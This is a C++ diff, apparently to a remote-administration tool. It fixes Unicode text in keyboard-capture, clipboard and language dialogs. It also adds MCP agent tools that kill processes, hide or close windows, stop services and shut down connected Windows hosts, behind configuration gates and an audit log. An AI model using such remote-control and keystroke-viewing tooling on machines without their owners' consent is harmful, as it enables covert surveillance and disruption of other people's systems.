IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol); IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
CONTEXT_UDP* ctx = ioCtx->pContext; CONTEXT_UDP* ctx = ioCtx->pContext;
BOOL ret = ParseReceivedData(ctx, bytes, m_notify); BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, bytes, m_notify);
if (999 != ret) if (999 != ret)
ctx->Destroy(); ctx->Destroy();
+15 -2
View File
@@ -123,6 +123,9 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。 // 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
// ----------------------------------------------------------------- // -----------------------------------------------------------------
RebuildEdit(m_edit); RebuildEdit(m_edit);
// 剪切板显示框同样重建为 Unicode 控件,ShowClipboardText 全程走 W 版消息,
// 否则 MBCS 下 SetWindowTextA 会在 A<->W 边界按 CP_ACP 转码,中文丢失。
RebuildEdit(m_EditClipText);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度 m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param); auto rule = utf8_to_ansi((char*)m_TextRule.param);
@@ -171,9 +174,19 @@ void CKeyBoardDlg::OnReceiveComplete()
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam) LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{ {
char* buf = (char*)wParam; char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf); // 剪切板文本是 UTF-8(client/my_clip.h 的 clip::get_text 从 CF_UNICODETEXT 转出)。
// 直接转宽字符串,用 W 版写入重建后的 Unicode 控件,绕开 utf8_to_ansi 的 CP_ACP
// 回转——非中文系统(德语/英语)上中文也能正常显示(与 m_edit 同法)。
std::wstring w;
if (buf && buf[0]) {
int wlen = MultiByteToWideChar(CP_UTF8, 0, buf, -1, NULL, 0);
if (wlen > 1) {
w.resize(wlen - 1);
MultiByteToWideChar(CP_UTF8, 0, buf, -1, &w[0], wlen);
}
}
SAFE_DELETE_ARRAY(buf); SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str()); ::SetWindowTextW(m_EditClipText.GetSafeHwnd(), w.c_str());
return S_OK; return S_OK;
} }
+21 -11
View File
@@ -703,12 +703,13 @@ protected:
if (langCode == _T("zh_CN")) return _T("Simplified Chinese"); if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
if (langCode == _T("zh_TW")) return _T("Traditional Chinese"); if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
if (langCode == _T("en_US")) return _T("English"); if (langCode == _T("en_US")) return _T("English");
if (langCode == _T("de_DE")) return _T("Deutsch");
return langCode; return langCode;
} }
LPCDLGTEMPLATE CreateDialogTemplate() LPCDLGTEMPLATE CreateDialogTemplate()
{ {
const WORD DLG_WIDTH = 200; const WORD DLG_WIDTH = 260;
const WORD DLG_HEIGHT = 75; const WORD DLG_HEIGHT = 75;
m_templateBuffer.clear(); m_templateBuffer.clear();
@@ -722,24 +723,24 @@ protected:
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE)); AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
AppendWord(0); // 菜单 AppendWord(0); // 菜单
AppendWord(0); // 窗口类 AppendWord(0); // 窗口类
AppendString(_T("Select Language")); AppendString(_T("切换语言"));
AlignToDword(); AlignToDword();
// 静态文本 // 静态文本
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1, AddControl(0x0082, 15, 15, 50, 12, 1002,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:")); SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
// ComboBox // ComboBox
AddControl(0x0085, 65, 13, 120, 150, 1001, AddControl(0x0085, 65, 13, 180, 150, 1001,
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
// OK 按钮 // OK 按钮
AddControl(0x0080, 45, 50, 50, 14, IDOK, AddControl(0x0080, 75, 50, 50, 14, IDOK,
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK")); BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
// Cancel 按钮 // Cancel 按钮
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL, AddControl(0x0080, 135, 50, 50, 14, IDCANCEL,
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel")); BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
return (LPCDLGTEMPLATE)m_templateBuffer.data(); return (LPCDLGTEMPLATE)m_templateBuffer.data();
} }
@@ -795,8 +796,17 @@ protected:
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
// 翻译对话框控件(标题、标签、按钮) // 模板为动态构造的 Unicode 模板,MBCS 下被 ANSI 创建路径误读,标题/标签/按钮文字会乱码,
TranslateDialog(this); // 故在此显式设置(走线程 locale GBK,与其它对话框同法),不再对已乱码文本调用 TranslateDialog。
// 标题含中文:非中文系统上 ANSI 消息按系统 ACP 解码会乱码,用 _TR 取翻译(中文→切换语言,
// 英语→Switch Language)后,显式 GBK(936)→Unicode 转换再用 Unicode 消息设置(与工具栏同法)。
CString strTitle = _TR("切换语言");
WCHAR wTitle[64] = { 0 };
MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
::SetWindowTextW(m_hWnd, wTitle);
SetDlgItemText(1002, _TR("语言:"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
m_comboLang.SubclassDlgItem(1001, this); m_comboLang.SubclassDlgItem(1001, this);
+610 -1
View File
@@ -840,6 +840,129 @@ Json::Value BuildServiceListOutputSchema() {
return schema; return schema;
} }
// ========== P7 输入/输出 schema ==========
// 公共:为 props 追加必填的 id 字符串属性。
static void AddIdRequiredProp(Json::Value& props) {
Json::Value idProp(Json::objectValue);
idProp["type"] = "string";
idProp["description"] = u8"主机 id,取 list_online_hosts / search_hosts 返回的 id 字段";
props["id"] = idProp;
}
// 公共:组装 {id, ...额外必填} 的 object schema。
static Json::Value FinalizeIdSchema(Json::Value props, std::initializer_list<const char*> extraRequired) {
Json::Value schema(Json::objectValue);
schema["type"] = "object";
schema["properties"] = props;
Json::Value required(Json::arrayValue);
required.append("id");
for (const char* r : extraRequired) required.append(r);
schema["required"] = required;
return schema;
}
// 公共:{ ok: boolean } 输出 schema(operate_window / control_service / power_action 共用)。
static Json::Value BuildOkOutputSchema() {
Json::Value props(Json::objectValue);
Json::Value ok(Json::objectValue);
ok["type"] = "boolean";
props["ok"] = ok;
Json::Value schema(Json::objectValue);
schema["type"] = "object";
schema["properties"] = props;
return schema;
}
Json::Value BuildKillProcessInputSchema() {
Json::Value props(Json::objectValue);
AddIdRequiredProp(props);
Json::Value pidsProp(Json::objectValue);
pidsProp["type"] = "array";
Json::Value pidItems(Json::objectValue);
pidItems["type"] = "integer";
pidsProp["items"] = pidItems;
pidsProp["description"] = u8"要终止的进程 PID 列表(至少 1 个)";
props["pids"] = pidsProp;
return FinalizeIdSchema(props, { "pids" });
}
Json::Value BuildKillProcessOutputSchema() {
Json::Value props(Json::objectValue);
Json::Value remProp(Json::objectValue);
remProp["type"] = "array";
Json::Value remItems(Json::objectValue);
remItems["type"] = "integer";
remProp["items"] = remItems;
remProp["description"] = u8"杀完后仍在运行的 PID(含权限不足未能终止的)";
props["remaining"] = remProp;
Json::Value schema(Json::objectValue);
schema["type"] = "object";
schema["properties"] = props;
return schema;
}
Json::Value BuildOperateWindowInputSchema() {
Json::Value props(Json::objectValue);
AddIdRequiredProp(props);
Json::Value hwndProp(Json::objectValue);
hwndProp["type"] = "integer";
hwndProp["description"] = u8"窗口句柄,取 list_windows 返回的 hwnd 字段";
props["hwnd"] = hwndProp;
Json::Value actionProp(Json::objectValue);
actionProp["type"] = "string";
actionProp["description"] = u8"操作:close(关闭) | show(显示) | hide(隐藏) | minimize(最小化) | maximize(最大化) | restore(还原)";
props["action"] = actionProp;
return FinalizeIdSchema(props, { "hwnd", "action" });
}
Json::Value BuildOperateWindowOutputSchema() {
return BuildOkOutputSchema();
}
Json::Value BuildControlServiceInputSchema() {
Json::Value props(Json::objectValue);
AddIdRequiredProp(props);
Json::Value nameProp(Json::objectValue);
nameProp["type"] = "string";
nameProp["description"] = u8"服务名,取 list_services 返回的 service_name 字段";
props["service_name"] = nameProp;
Json::Value actionProp(Json::objectValue);
actionProp["type"] = "string";
actionProp["description"] = u8"操作:start(启动) | stop(停止) | set_auto(设为自动) | set_manual(设为手动)";
props["action"] = actionProp;
return FinalizeIdSchema(props, { "service_name", "action" });
}
Json::Value BuildControlServiceOutputSchema() {
return BuildOkOutputSchema();
}
Json::Value BuildPowerActionInputSchema() {
Json::Value props(Json::objectValue);
AddIdRequiredProp(props);
Json::Value actionProp(Json::objectValue);
actionProp["type"] = "string";
actionProp["description"] = u8"操作:logout(注销) | shutdown(关机) | reboot(重启)";
props["action"] = actionProp;
return FinalizeIdSchema(props, { "action" });
}
Json::Value BuildPowerActionOutputSchema() {
return BuildOkOutputSchema();
}
// list_registry 的 inputSchema(id 必填,path 可选;path 缺省/空 = 列根键) // list_registry 的 inputSchema(id 必填,path 可选;path 缺省/空 = 列根键)
Json::Value BuildListRegistryInputSchema() { Json::Value BuildListRegistryInputSchema() {
Json::Value props(Json::objectValue); Json::Value props(Json::objectValue);
@@ -1163,6 +1286,20 @@ Json::Value BuildUploadFileOutputSchema();
std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent); std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent); std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
// ===== P7 前置声明(定义见下方「tools/call 分派」前)=====
Json::Value BuildKillProcessInputSchema();
Json::Value BuildKillProcessOutputSchema();
Json::Value BuildOperateWindowInputSchema();
Json::Value BuildOperateWindowOutputSchema();
Json::Value BuildControlServiceInputSchema();
Json::Value BuildControlServiceOutputSchema();
Json::Value BuildPowerActionInputSchema();
Json::Value BuildPowerActionOutputSchema();
std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
// tools/list // tools/list
std::string BuildToolsListResult(const Json::Value& id) { std::string BuildToolsListResult(const Json::Value& id) {
Json::Value result(Json::objectValue); Json::Value result(Json::objectValue);
@@ -1433,6 +1570,43 @@ std::string BuildToolsListResult(const Json::Value& id) {
tools.append(tool); tools.append(tool);
} }
// 18) kill_process / operate_window / control_service / power_action(P7:设备管理控制,
// 仅 Windows,安全门:McpManage=1 且 McpReadonly=0)
if (CMcpServer::Instance().IsManageEnabled() && !CMcpServer::Instance().IsReadonly()) {
{
Json::Value tool(Json::objectValue);
tool["name"] = "kill_process";
tool["description"] = u8"终止指定在线 Windows 主机上的一个或多个进程(TerminateProcess 强制结束,不保存进程状态,可能造成数据丢失)。返回 remaining(杀完后仍在运行的 PID)。不可撤销,请谨慎确认 PID。";
tool["inputSchema"] = BuildKillProcessInputSchema();
tool["outputSchema"] = BuildKillProcessOutputSchema();
tools.append(tool);
}
{
Json::Value tool(Json::objectValue);
tool["name"] = "operate_window";
tool["description"] = u8"对指定在线 Windows 主机的窗口执行操作:close(关闭)/show(显示)/hide(隐藏)/minimize(最小化)/maximize(最大化)/restore(还原)。hwnd 取 list_windows 返回的 hwnd。ok 仅表示已下发(窗口句柄可能已失效)。";
tool["inputSchema"] = BuildOperateWindowInputSchema();
tool["outputSchema"] = BuildOperateWindowOutputSchema();
tools.append(tool);
}
{
Json::Value tool(Json::objectValue);
tool["name"] = "control_service";
tool["description"] = u8"控制指定在线 Windows 主机的服务:start(启动)/stop(停止)/set_auto(设为自动)/set_manual(设为手动)。service_name 取 list_services 返回的 service_name。ok 仅表示已下发(成功与否需再查 list_services 核对状态)。";
tool["inputSchema"] = BuildControlServiceInputSchema();
tool["outputSchema"] = BuildControlServiceOutputSchema();
tools.append(tool);
}
{
Json::Value tool(Json::objectValue);
tool["name"] = "power_action";
tool["description"] = u8"对指定在线 Windows 主机执行电源操作:logout(注销)/shutdown(关机)/reboot(重启)。不可撤销,主机将立即下线;需客户端管理员权限。";
tool["inputSchema"] = BuildPowerActionInputSchema();
tool["outputSchema"] = BuildPowerActionOutputSchema();
tools.append(tool);
}
}
result["tools"] = tools; result["tools"] = tools;
return BuildResult(id, result); return BuildResult(id, result);
} }
@@ -4175,6 +4349,332 @@ std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2
return BuildError(id, -32001, msg); return BuildError(id, -32001, msg);
} }
// ========== P7:设备管理控制 ==========
// 读取 JSON number 或纯数字字符串为 uint64。
static bool ReadUInt64(const Json::Value& v, uint64_t& out) {
if (v.isNumeric()) { out = v.asUInt64(); return true; }
if (v.isString()) {
std::string s = v.asString();
if (IsDigits(s)) { out = strtoull(s.c_str(), nullptr, 10); return true; }
}
return false;
}
static bool ReadUInt64Arg(const Json::Value& args, const char* key, uint64_t& out) {
if (!args.isMember(key)) return false;
return ReadUInt64(args[key], out);
}
// 写审计(杀进程/窗口/服务/电源共用):PostMessageA 落到服务端消息/审计日志(不可关闭)。
static void AuditManageAction(CMy2015RemoteDlg* parent, uint64_t devId,
const std::string& tool, const std::string& detail) {
if (!parent) return;
std::string text = "host " + std::to_string(devId) + " " + tool + ": " + detail;
parent->PostMessageA(WM_SHOWERRORMSG,
(WPARAM)new CString(ToAnsi(text, 936).c_str()),
(LPARAM)new CString(_TR("MCP管理操作")));
}
// kill_process:主连接 COMMAND_SYSTEM → 系统子连接 TOKEN_PSLIST(就绪)→ COMMAND_KILLPROCESS
// → 补发 COMMAND_PSLIST → 第二个 TOKEN_PSLIST(确认)。payload 与 SystemDlg::OnPlistKill 一致。
std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
uint64_t devId = 0;
std::string err;
if (!ParseHostIdArg(args, devId, err))
return BuildError(id, -32602, err);
context* ctx = FindMainContext(parent, devId);
if (!ctx)
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
return BuildError(id, -32005, "kill_process is only supported on Windows hosts");
CMcpServer& mcp = CMcpServer::Instance();
if (mcp.IsReadonly())
return BuildError(id, -32006, "kill_process is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
if (!mcp.IsManageEnabled())
return BuildError(id, -32006, "kill_process is disabled: management operations are off (set McpManage=1 to enable)");
const Json::Value& pids = args["pids"];
if (!pids.isArray() || pids.size() == 0)
return BuildError(id, -32602, "Missing or invalid parameter: pids (non-empty integer array)");
std::vector<uint64_t> pidList;
std::vector<BYTE> followUp;
followUp.push_back((BYTE)COMMAND_KILLPROCESS);
for (unsigned int i = 0; i < pids.size(); ++i) {
uint64_t pid = 0;
if (!ReadUInt64(pids[i], pid) || pid == 0)
return BuildError(id, -32602, "pids must be non-zero integers");
pidList.push_back(pid);
DWORD d = (DWORD)pid;
followUp.push_back((BYTE)(d & 0xFF));
followUp.push_back((BYTE)((d >> 8) & 0xFF));
followUp.push_back((BYTE)((d >> 16) & 0xFF));
followUp.push_back((BYTE)((d >> 24) & 0xFF));
}
if (!mcp.BeginPendingFollowUp(devId, "kill_process", followUp))
return BuildError(id, -32003, "Device busy: another request is pending for this host");
BYTE cmd = COMMAND_SYSTEM;
if (!ctx->Send2Client(&cmd, 1)) {
mcp.ClearPending(devId);
return BuildError(id, -32004, "Failed to send command to host");
}
std::vector<BYTE> data;
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
return BuildError(id, -32001, "Timeout waiting for process list after kill");
UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
Json::Value procs = ParseProcessList(data, cp);
Json::Value remaining(Json::arrayValue);
std::string detail = "pids=";
for (size_t i = 0; i < pidList.size(); ++i) {
if (i) detail += ",";
detail += std::to_string(pidList[i]);
bool stillAlive = false;
for (unsigned int j = 0; j < procs.size(); ++j) {
if (procs[j]["pid"].asUInt64() == pidList[i]) { stillAlive = true; break; }
}
if (stillAlive) remaining.append((Json::UInt64)pidList[i]);
}
AuditManageAction(parent, devId, "kill_process", detail);
Json::Value result(Json::objectValue);
Json::Value structuredContent(Json::objectValue);
structuredContent["remaining"] = remaining;
result["structuredContent"] = structuredContent;
Json::Value content(Json::arrayValue);
Json::Value item(Json::objectValue);
item["type"] = "text";
item["text"] = remaining.empty()
? std::string(u8"目标进程已全部终止。")
: std::string(u8"仍有 ") + std::to_string((int)remaining.size()) + std::string(u8" 个进程存活(见 remaining)。");
content.append(item);
result["content"] = content;
result["isError"] = false;
return BuildResult(id, result);
}
// operate_window:主连接 COMMAND_WSLIST → 窗口子连接 TOKEN_WSLIST(就绪)→ CMD_WINDOW_CLOSE
// (close 客户端自动回 TOKEN_WSLIST)或 CMD_WINDOW_TEST(test 补发 COMMAND_WSLIST 索取)。
// 20 字节零填充 buffer 复刻 SystemDlg::OnWlistClose/OnWlistHide/Recover/Max/Min(hwnd 为 DWORD)。
std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
uint64_t devId = 0;
std::string err;
if (!ParseHostIdArg(args, devId, err))
return BuildError(id, -32602, err);
context* ctx = FindMainContext(parent, devId);
if (!ctx)
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
return BuildError(id, -32005, "operate_window is only supported on Windows hosts");
CMcpServer& mcp = CMcpServer::Instance();
if (mcp.IsReadonly())
return BuildError(id, -32006, "operate_window is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
if (!mcp.IsManageEnabled())
return BuildError(id, -32006, "operate_window is disabled: management operations are off (set McpManage=1 to enable)");
uint64_t hwnd = 0;
if (!ReadUInt64Arg(args, "hwnd", hwnd) || hwnd == 0)
return BuildError(id, -32602, "Missing or invalid parameter: hwnd (non-zero window handle)");
std::string action = Trim(GetStringArg(args, "action"));
BYTE lpMsgBuf[20] = { 0 };
DWORD h = (DWORD)hwnd;
if (action == "close") {
lpMsgBuf[0] = CMD_WINDOW_CLOSE;
memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
} else {
DWORD dHow;
if (action == "hide") dHow = SW_HIDE; // 0
else if (action == "show") dHow = SW_NORMAL; // 1
else if (action == "restore") dHow = SW_NORMAL; // 1
else if (action == "maximize") dHow = SW_MAXIMIZE; // 3
else if (action == "minimize") dHow = SW_MINIMIZE; // 6
else return BuildError(id, -32602,
"Invalid action: " + action + " (expect close|show|hide|minimize|maximize|restore)");
lpMsgBuf[0] = CMD_WINDOW_TEST;
memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
memcpy(lpMsgBuf + 1 + sizeof(DWORD), &dHow, sizeof(DWORD));
}
std::vector<BYTE> followUp(lpMsgBuf, lpMsgBuf + sizeof(lpMsgBuf));
if (!mcp.BeginPendingFollowUp(devId, "operate_window", followUp))
return BuildError(id, -32003, "Device busy: another request is pending for this host");
BYTE cmd = COMMAND_WSLIST;
if (!ctx->Send2Client(&cmd, 1)) {
mcp.ClearPending(devId);
return BuildError(id, -32004, "Failed to send command to host");
}
std::vector<BYTE> data;
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
return BuildError(id, -32001, "Timeout waiting for window operation");
AuditManageAction(parent, devId, "operate_window",
"action=" + action + " hwnd=" + std::to_string(hwnd));
Json::Value result(Json::objectValue);
Json::Value structuredContent(Json::objectValue);
structuredContent["ok"] = true;
result["structuredContent"] = structuredContent;
Json::Value content(Json::arrayValue);
Json::Value item(Json::objectValue);
item["type"] = "text";
item["text"] = std::string(u8"已下发窗口操作:") + action;
content.append(item);
result["content"] = content;
result["isError"] = false;
return BuildResult(id, result);
}
// control_service:主连接 COMMAND_SERVICES → 服务子连接 TOKEN_SERVERLIST(就绪)→
// COMMAND_SERVICECONFIG → 客户端写后自动 SendServicesList(确认,无需补发)。
std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
uint64_t devId = 0;
std::string err;
if (!ParseHostIdArg(args, devId, err))
return BuildError(id, -32602, err);
context* ctx = FindMainContext(parent, devId);
if (!ctx)
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
return BuildError(id, -32005, "control_service is only supported on Windows hosts");
CMcpServer& mcp = CMcpServer::Instance();
if (mcp.IsReadonly())
return BuildError(id, -32006, "control_service is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
if (!mcp.IsManageEnabled())
return BuildError(id, -32006, "control_service is disabled: management operations are off (set McpManage=1 to enable)");
std::string serviceName = Trim(GetStringArg(args, "service_name"));
if (serviceName.empty())
return BuildError(id, -32602, "Missing required parameter: service_name");
std::string action = Trim(GetStringArg(args, "action"));
BYTE bCmd;
if (action == "start") bCmd = 1;
else if (action == "stop") bCmd = 2;
else if (action == "set_auto") bCmd = 3;
else if (action == "set_manual") bCmd = 4;
else return BuildError(id, -32602,
"Invalid action: " + action + " (expect start|stop|set_auto|set_manual)");
// 服务名来自 Windows A 接口(GBK/936),下发前转 ANSI。payload 与 MachineDlg 一致:
// [COMMAND_SERVICECONFIG:1][bCmd:1][serviceName\0]。
std::string ansiName = ToAnsi(serviceName, 936);
std::vector<BYTE> followUp;
followUp.reserve(2 + ansiName.size() + 1);
followUp.push_back((BYTE)COMMAND_SERVICECONFIG);
followUp.push_back(bCmd);
followUp.insert(followUp.end(), ansiName.begin(), ansiName.end());
followUp.push_back(0);
if (!mcp.BeginPendingFollowUp(devId, "control_service", followUp))
return BuildError(id, -32003, "Device busy: another request is pending for this host");
BYTE cmd = COMMAND_SERVICES;
if (!ctx->Send2Client(&cmd, 1)) {
mcp.ClearPending(devId);
return BuildError(id, -32004, "Failed to send command to host");
}
std::vector<BYTE> data;
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
return BuildError(id, -32001, "Timeout waiting for service operation");
AuditManageAction(parent, devId, "control_service",
"service=" + serviceName + " action=" + action);
Json::Value result(Json::objectValue);
Json::Value structuredContent(Json::objectValue);
structuredContent["ok"] = true;
result["structuredContent"] = structuredContent;
Json::Value content(Json::arrayValue);
Json::Value item(Json::objectValue);
item["type"] = "text";
item["text"] = std::string(u8"已下发服务操作:") + action + std::string(u8" ") + serviceName;
content.append(item);
result["content"] = content;
result["isError"] = false;
return BuildResult(id, result);
}
// power_action:主连接 TOKEN_MACHINE_MANAGE,发完即走(无响应);主机立即离线。
std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
uint64_t devId = 0;
std::string err;
if (!ParseHostIdArg(args, devId, err))
return BuildError(id, -32602, err);
context* ctx = FindMainContext(parent, devId);
if (!ctx)
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
return BuildError(id, -32005, "power_action is only supported on Windows hosts");
CMcpServer& mcp = CMcpServer::Instance();
if (mcp.IsReadonly())
return BuildError(id, -32006, "power_action is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
if (!mcp.IsManageEnabled())
return BuildError(id, -32006, "power_action is disabled: management operations are off (set McpManage=1 to enable)");
std::string action = Trim(GetStringArg(args, "action"));
BYTE type;
if (action == "logout") type = MACHINE_LOGOUT;
else if (action == "shutdown") type = MACHINE_SHUTDOWN;
else if (action == "reboot") type = MACHINE_REBOOT;
else return BuildError(id, -32602,
"Invalid action: " + action + " (expect logout|shutdown|reboot)");
// 主连接、发完即走、无响应(客户端 KernelManager 只校验 ulLength>1 并读 szBuffer[1])。
BYTE token[2] = { (BYTE)TOKEN_MACHINE_MANAGE, type };
if (!ctx->Send2Client(token, 2))
return BuildError(id, -32004, "Failed to send command to host");
AuditManageAction(parent, devId, "power_action", "action=" + action);
Json::Value result(Json::objectValue);
Json::Value structuredContent(Json::objectValue);
structuredContent["ok"] = true;
result["structuredContent"] = structuredContent;
Json::Value content(Json::arrayValue);
Json::Value item(Json::objectValue);
item["type"] = "text";
item["text"] = std::string(u8"已下发电源操作:") + action;
content.append(item);
result["content"] = content;
result["isError"] = false;
return BuildResult(id, result);
}
// tools/call 分派 // tools/call 分派
std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) { std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
const Json::Value& id = root["id"]; const Json::Value& id = root["id"];
@@ -4210,6 +4710,10 @@ std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
if (toolName == "remote_clipboard") return BuildRemoteClipboard(id, args, parent); if (toolName == "remote_clipboard") return BuildRemoteClipboard(id, args, parent);
if (toolName == "download_file") return BuildDownloadFile(id, args, parent); if (toolName == "download_file") return BuildDownloadFile(id, args, parent);
if (toolName == "upload_file") return BuildUploadFile(id, args, parent); if (toolName == "upload_file") return BuildUploadFile(id, args, parent);
if (toolName == "kill_process") return BuildKillProcess(id, args, parent);
if (toolName == "operate_window") return BuildOperateWindow(id, args, parent);
if (toolName == "control_service") return BuildControlService(id, args, parent);
if (toolName == "power_action") return BuildPowerAction(id, args, parent);
return BuildError(id, -32602, return BuildError(id, -32602,
"Unknown tool: " + (toolName.empty() ? std::string("(empty)") : toolName)); "Unknown tool: " + (toolName.empty() ? std::string("(empty)") : toolName));
@@ -4727,7 +5231,8 @@ bool CMcpServer::IsPending(uint64_t device_id) {
void CMcpServer::TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len) { void CMcpServer::TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len) {
std::lock_guard<std::mutex> lk(m_PendingMutex); std::lock_guard<std::mutex> lk(m_PendingMutex);
auto it = m_Pending.find(device_id); auto it = m_Pending.find(device_id);
if (it == m_Pending.end()) return; // 已超时清理 → 迟到数据,丢弃 if (it == m_Pending.end()) { Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d: no pending (late/dropped)\n", device_id, (int)len); return; } // 已超时清理 → 迟到数据,丢弃
Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d done\n", device_id, (int)len);
it->second.data.assign(data, data + len); it->second.data.assign(data, data + len);
it->second.done = true; it->second.done = true;
m_PendingCv.notify_one(); m_PendingCv.notify_one();
@@ -4902,6 +5407,110 @@ bool CMcpServer::WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subk
return true; return true;
} }
// ===== P7:设备管理控制(写工具接管)=====
bool CMcpServer::BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
const std::vector<BYTE>& followUp) {
if (IsFileTransferPending(device_id)) return false; // 该 host 有文件传输会话在飞(互斥,见 F2)
std::lock_guard<std::mutex> lk(m_PendingMutex);
if (m_Pending.find(device_id) != m_Pending.end()) return false; // 设备忙
PendingRequest r;
r.tool = tool;
r.followUp = followUp;
m_Pending[device_id] = std::move(r);
return true;
}
bool CMcpServer::OnSystemReady(uint64_t device_id, context* subCtx) {
std::string tool;
std::vector<BYTE> followUp;
{
std::lock_guard<std::mutex> lk(m_PendingMutex);
auto it = m_Pending.find(device_id);
if (it == m_Pending.end()) { Mprintf("[MCP-P7] OnSystemReady dev=%llu: no pending\n", device_id); return false; } // 无挂起 → 回落 MFC
tool = it->second.tool;
if (tool != "kill_process" && tool != "operate_window") { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: not write tool\n", device_id, tool.c_str()); return false; }
if (it->second.followUpSent) { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: CONFIRM token -> TakeMainResponse\n", device_id, tool.c_str()); return false; } // 确认包 → TakeMainResponse
followUp = it->second.followUp;
it->second.subCtx = subCtx;
it->second.followUpSent = true;
}
// 锁外下发写命令;kill/test 需补发刷新命令索取新列表(close/control_service 客户端自动回)。
BOOL b1 = subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
BYTE refresh = 0;
if (tool == "kill_process") {
refresh = (BYTE)COMMAND_PSLIST;
} else if (!followUp.empty() && followUp[0] == CMD_WINDOW_TEST) {
refresh = (BYTE)COMMAND_WSLIST;
}
if (refresh) {
// followUp 与 refresh 是两次独立 Send2Client,各自 PostQueuedCompletionStatus(IOWrite),
// worker 会对同一 OutCompressedBuffer 并发发起 WSASend,造成竞态/丢包。用 WaitSendIdle
// 确定性等首个包真正发完再发刷新包(比 MFC 的 Sleep(100) 盲等更稳)。
subCtx->WaitSendIdle(2000);
BOOL b2 = subCtx->Send2Client(&refresh, 1);
